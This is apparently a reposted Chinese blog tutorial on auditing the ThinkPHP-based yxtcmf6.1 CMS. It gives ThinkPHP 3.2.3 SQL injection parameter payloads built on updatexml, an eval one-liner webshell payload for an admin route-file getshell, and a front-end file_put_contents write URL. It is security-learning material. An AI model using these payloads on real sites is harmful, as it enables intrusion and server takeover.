• 基于ThinkPHP的CMS审计思路


    前言

    yxtcmf6.1是一个基于thinkphp3.2.3的cms,19年3月份发布,用来练习代码审计是个不错的选择。

    审计思路

    由于这个cms采用MVC架构并且是基于thinkphp3.2.3的,所以先了解文件结构,知道不同的页面对应的文件位置在哪。然后搭建一个tp3.2.3了解一下这个框架,百度找找这个框架的漏洞,再通过Seay全局搜索可能因为这个框架存在漏洞的关键词。接下来上自动审计(自动审计的规则并不是很完全,所以可以通过自己审计的经验添加规则或者上百度找一些规则),对自动审计的结果进行验证,结果可能会有几百上千条,虽然不用每一条都去看,但是也是比较需要耐心的。最后可以拿AWVS之类的扫描器扫一扫,看看能不能扫出惊喜。

    准备工具

    phpstorm,Seay源码审计系统,phpstudy,AWVS

    0x00 了解文件结构和路由方式

    1589094967_5eb7aa37efdff.png!small

    路由方式

    1589094465_5eb7a84163d32.png!small

    例如前台登录界面的url为http://127.0.0.1:8014/index.php/User/Login/index

    1589094623_5eb7a8df3e000.png!small

    则对应的文件目录为/application/User/LoginController.class.php,函数为index()

    1589094654_5eb7a8feedaed.png!small

    0x01 了解thinkphp3.2.3的漏洞

    自己先搭建一个tp3.2.3,通过百度找到了一些thinkphp3.2.3存在的sql注入,然后记录下来简单说明一下

    1589092464_5eb7a070f1959.png!small

    tp3.2.3构造sql语句的函数如上,如果$option的值是可以任意传入的,那么就有可能达到sql注入的目的

    1.->where("可控参数")->find()

    $username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();

    测试代码如上,传入参数username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)%23,然后调试跟进,主要代码段如下,$whereStr为构造sql语句的一部分

    1589088511_5eb790ff62a7c.png!small

    1589088602_5eb7915a97fee.png!small

    结果构成如下sql语句

    1589088639_5eb7917f39e2a.png!small

    这里接收传参的方法必须不为I($_GET['username']),否则会检测值内是否含有'exp',如果有,就会加上空格变为'exp '

    2.->find/select/delete("可控参数")

    $id=I("id");$data=M("users")->find($id);

    测试代码如上,传入id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23 ,然后调试跟踪

    1589089487_5eb794cf1586c.png!small

    最后得到sql语句如下,不需要单引号闭合也可完成注入

    1589089528_5eb794f85c6e6.png!small

    find()换成select()或者delete()也是一样的效果

    3.->where("可控参数")->save("可控参数")

    $condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);

    测试代码如上,传入username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456,调试跟踪

    1589090385_5eb798510a726.png!small

    1589090657_5eb79961b23eb.png!small

    1589090914_5eb79a6289cb7.png!small

    4.->order("可控参数")->find()

    $username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();

    测试代码如上,传入username=admin&order[updatexml(1,concat(0x3a,user()),1)]

    1589092405_5eb7a03580fe2.png!small最后的sql语句如下

    1589092422_5eb7a0468793f.png!small

    了解了几个tp3.2.3的sql注入后,就可以搜索这些关键词来寻找sql注入

    0x02 全局搜索sql注入

    正则学的不是很好,所以这里全局搜索虽然支持正则,但是没去用,只能写点简单的关键词来搜索,还望师傅们指点指点

    全局搜索->find(

    1589096722_5eb7b11252939.png!small

    1.后台Ad控制器sql注入

    1589096863_5eb7b19fa940c.png!small

    点进去第一条发现where()内的$id可控,“ad_id=$id”,可能不需要单引号闭合就可以sql注入

    1589096917_5eb7b1d541ae8.png!small

    先随便传个参数看看sql语句是怎样的

    1589097580_5eb7b46c4ee54.png!small

    竟然这样,就可以用括号闭合来注入了

    1589097745_5eb7b51138b36.png!small

    2.前台register控制器sql注入

    1589098283_5eb7b72b6c2b5.png!small

    看看$where是否可控

    1589099928_5eb7bd987ecc6.png!small

    于是构造payload如下

    1589100057_5eb7be1971ba5.png!small

    3.前台login控制器sql注入

    1589175286_5eb8e3f6beb52.png!small

    这里一共有三处同样的关键词,需要注意的一点是,这三条不管双击进去哪一条后都只会高亮显示第一处关键词的位置。

    第一处

    1589176131_5eb8e743d2e5e.png!small第二处

    1589176196_5eb8e784f2c45.png!small

    第三处1589176267_5eb8e7cb660a1.png!small

    第一处和第二处所在的函数都是在dologin()函数内调用的

    1589175884_5eb8e64cecad1.png!small

    接下来在第二处所在页面传参payload看看

    1589177197_5eb8eb6de0788.png!small

    结果出现错误提示,那么就调试跟踪看看是哪里的问题

    1589177355_5eb8ec0ba7066.png!small

    然后继续跟进这行代码,

    1589177595_5eb8ecfba0333.png!small1589177746_5eb8ed92ddac9.png!small

    1589178066_5eb8eed26d824.png!small

    1589178161_5eb8ef31115d3.png!small

    1589178284_5eb8efac34294.png!small

    1589178519_5eb8f09796969.png!small

    最后看看第三处

    1589179234_5eb8f3623d4ff.png!small

    1589179349_5eb8f3d55ceb0.png!small

    后面的结果大致看了一下基本都是where()内的参数都做了强制类型转换成int型,或者不可控,并且也没有看到fin()内有可控参数的。

    全局搜索->select/delete(

    1589179742_5eb8f55edf635.png!small

    1589179752_5eb8f56854362.png!small

    这两都没找到select/delete()里面有可控参数的

    全局搜索->save(

    1589179943_5eb8f6271a959.png!small

    这里找的也是不符合可能存在漏洞的条件

    全局搜素->order(

    1589180090_5eb8f6ba0bbf0.png!small

    同上,没看到order()内有可控参数的

    0x03 自动审计

    1589096030_5eb7ae5ee846b.png!small

    通过自动审计扫出了800多条结果,但是并不需要全都看,比如了解了tp3.2.3后,它的核心文件的就不需要看了,还有刚刚分析过了sql注入,那么这里面的sql注入也不需要看了。像fread(),fgets()这种需要输出才能看到文件内容的,如果没有看到输出的语句也可以放弃了,而像readfile(),unlink()这种可以直接得到执行结果的,就要重点关注一下。

    0x04 后台任意文件读取

    翻着翻着找到了这里,进去看看变量是否可控

    1589181814_5eb8fd7603330.png!small

    1589182067_5eb8fe730e250.png!small

    1589182080_5eb8fe80b2fa2.png!small1589182132_5eb8feb4c1619.png!small

    0x05 后台文件写入getshell

    翻到这里,点进去看看

    1589182738_5eb90112a7f9f.png!small1589183792_5eb9053064a83.png!small

    1589183122_5eb902922977b.png!small

    那么如果能在route表中的full_url字段中插入一句话木马,就可以将其写入到route.php里面了

    上面的1212-1217行需要注意一下

    1589186601_5eb910292c8e6.png!smallparse_url($full_url)将里面的值解析,并将相应的值组合成数组,例子如下

    1589186813_5eb910fd7aefd.png!small

    1589186874_5eb9113aa1e21.png!small

    如果$a直接填a/b/c/d,那么array[path]=a/b/c/d

    1589186972_5eb9119c93a21.png!small

    1589186964_5eb911945760e.png!small

    继续看到1215-1217行1589187678_5eb9145e529bb.png!small

    所以full_url的字段必须含有 a/b/c 这样的形式

    全局搜索sp_get_routes后发现admin目录下的Route控制器调用了它1589184168_5eb906a8e9351.png!small

    虽然index()函数下没有插入表的语句,但是下面还有add()函数进行数据库插入,先打开这个index页面看看

    1589184280_5eb90718e8929.png!small

    发现有添加url规则1589184335_5eb9074fbc6da.png!small

    确实是在add()下,并且原始网址的变量名为full_url,加下来都输入111验证下是否是插入route表

    1589184458_5eb907ca60713.png!small

    接下来看看route.php的样式和插入数据是否有过滤来确定payload要怎么写

    1589184731_5eb908dbaa3d2.png!small

    因为这是个php文件,所以不需要插入<>了,只要能插入单引号闭合,那么就可以将一句话木马插入

    先插入带单引号的数据测试一下

    1589188366_5eb9170e7e476.png!small

    然后再结合上面说的 full_url的字段必须含有 a/b/c 这样的形式 那么就可以构造以下两种payload

    url=aaa',@eval($_REQUEST['a']),'

    full_url=a/b/c

    url=aaa

    full_url=a/b/c',@eval($_REQUEST['a']),'

    1589189228_5eb91a6c00088.png!small

    1589189261_5eb91a8dc42d8.png!small

    添加完后会自动跳转到url美化界面,也就是调用route控制器的index()函数,完成写入route.php的操作

    1589189446_5eb91b46acb67.png!small1589189464_5eb91b58e1c66.png!small

    然后成功执行phpinfo()

    0x06 前台文件写入getshell

    这个是在百度上找到的,而且比较复杂,小弟水平有限,调试了很多遍才知道在哪执行的写入。

    http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

    1589252645_5eba122578412.png!small

    由于前面跟进了很多文件和函数,跟进步骤比较繁琐,我在这就直接贴出最后关键的地方

    1589253666_5eba162212fe3.png!small

    1589253686_5eba1636e15d1.png!small先回调has方法检查有没有''5f068... 这个php文件,如果没有,则回调put写入这个文件

    1589253456_5eba155005144.png!small1589253460_5eba1554cd577.png!small

    1589253535_5eba159fc88ca.png!small

    这里的$content就包含了payload里写入的值

    1589254057_5eba17a9ad7d3.png!small

    如果有''5f068... 这个文件,那么就回调load函数,然后文件包含''5f068... ,里面的代码被执行,那么test.php文件就被写入了

    1589253738_5eba166a98c0e.png!small1589253772_5eba168cab9cd.png!small1589254090_5eba17ca2552a.png!small

    0x07 AWVS扫描

    1589254175_5eba181fc3415.png!small

    AWVS并没有扫出来什么...

    总结

    自动审计除了这些验证出漏洞的地方,还有很多不存在漏洞的地方我也看了,要么就是参数不可控,要么就是做了防护。虽然不用每一条结果都去看,但还是需要有点耐心。希望这篇文章能对刚入门审计的兄弟有所帮助,有问题的地方也还望师傅们指出。

  • 相关阅读:
    使用EF批量新增数据十分缓慢
    EF中获取当前上下文的表名
    下拉框停用数据的处理
    CEILING保留n位小数向上取整
    MVC ValidationAttribute 验证一个字段必须大于另一个字段
    EF通过导航属性取出从表的集合后,无法删除子表
    我得新博客上线了采用Vue+Layui的结合开发,后台采用asp.net mvc
    CTS,CLS,CLR解释
    Linq与委托
    C#4.0的十种语法糖
  • 原文地址:https://www.cnblogs.com/0daybug/p/13297088.html
Copyright © 2020-2023  润新知